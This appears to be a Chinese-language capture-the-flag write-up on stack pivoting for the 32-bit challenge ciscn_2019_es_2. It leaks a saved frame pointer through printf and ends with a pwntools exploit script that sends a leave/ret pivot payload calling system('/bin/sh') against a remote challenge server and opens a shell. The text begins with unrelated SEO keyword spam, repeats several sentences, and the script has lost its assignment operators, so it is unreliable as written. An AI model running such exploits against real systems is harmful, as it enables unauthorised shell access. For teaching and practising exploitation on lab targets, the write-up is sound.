ui设计较好的网站,梧州seo排名,广州网站推广排名,凡客诚品是什么牌子这题考察的是一个栈迁移的知识。作为入门学习栈迁移是个不可多得的好题。程序简单并且是32位的架构。保护也没有开#xff0c;因此对于理解栈迁移再好不过了。看一下这题的基本信息#xff1a; 栈迁移的基本原理其实就是栈的空间不够我们利用。也就是不不足以覆盖返回地址因此对于理解栈迁移再好不过了。看一下这题的基本信息 栈迁移的基本原理其实就是栈的空间不够我们利用。也就是不不足以覆盖返回地址更加不可能构造rop。因此需要迁移到空间足够大的地方去构造rop。因此我们需要能够控制ebp(64位rbp)。在汇编中leave这个汇编指令就成为了我们的利用目标。当执行leave的时候计算机会执行两个步骤 1.mov esp,ebp 2.pop ebp 还有就是ret指令它将会执行如下操作 1.pop eip 这两个指令配合着使用能做到控制执行流并完成栈迁移。下面我们来看下IDA中的程序执行流程 主函数会去调用vul函数vul函数的伪代码如下 我们看到程序中会有一个数组s大小是40个字节。memset函数是将s数组开始的0x20大小的空间填充成0。接着就是用户输入大小是0x30。我们可以看到s数组在ebp-0x28的位置但是我们最高只能输入0x30。因此我们连返回地址ebp4的位置我们都够不着。更别说构造rop了。因此我们自然而然的能联想到栈迁移。我们还发现程序中有个类似后门的函数 但是参数是错误的。并不能用。我个人感觉这个后门是用来迷惑人的现在我们纯手工去调试下源程序 这里调用了第一个read函数我输入了10个a。我们观察下栈的布局 我们看到数组s的起始位置是ecx的值传递的。ebp中的值是一个栈上的值old_ebp这个值对于我们栈迁移是有用的。因此我们需要将他泄露出来。 Printf函数就是我们的利用点。他输出的时候会去找\0。如果没找到就一直输出。因此我们可以把栈上填满然后在Printf的时候不仅会把我们写的内容打印出来还会把栈上的东西也给打印出来 我们可以看到在B后面连带着栈上的内容给输出了。因此我们只需要接收我们需要的部分 讲解完如何泄露这个old_ebp。我们需要明白这个值是干嘛用的。因此再次进入调试中 程序中这个数组s会被用到两次2次read函数。也就是说这个栈空间会被再次利用。既然第一次利用空间不够那么我们何不把这个栈扩大也就是用整一个s数组的空间来构造rop呢。画个图来解释下这个思想 我们看到第二次我们已经将写好的payload布局在栈上了。我们泄露的地址的作用是用来诱导esp指向我们的数组s开始的位置。调试一下就会看的很清晰 当程序走到leave的时候我们观察此时的栈布局 此时执行leave这个时候ebp将会在esp的上面 此时我们还需要一个leave和ret的组合让栈恢复成正常的样子因此此时esp指向的就是我们填入的0x80484b8指向leave,ret的组合继续跟下去 再次执行leave 我们看到此时esp已经指向了我们的system地址了。接着执行ret就会劫持执行流。下面的是system的参数因为我们不能直接调用bin/sh字符串因此我们布局的时候需要传地址。因此才会如此布局。整个栈迁移的过程就完成了。下面是exp
from pwn import *context.arch i386
#context.log_level debug#ioprocess(./ciscn_2019_es_2)ioremote(node4.buuoj.cn,28832)#gdb.attach(io)
payload1 bA * (0x27) bBio.send(payload1)io.recvuntil(B)old_ebp u32(io.recv(4))
print(hex(old_ebp))#pause()system_addr 0x08048400
leave_ret 0x080484b8payload2 baaaa
payload2 p32(system_addr)
payload2 bbbbb
payload2 p32(old_ebp - 0x28)
payload2 b/bin/sh\x00
payload2 payload2.ljust(0x28, bp)payload2 p32(old_ebp - 0x38)
payload2 p32(leave_ret) io.sendline(payload2)#pause()io.interactive()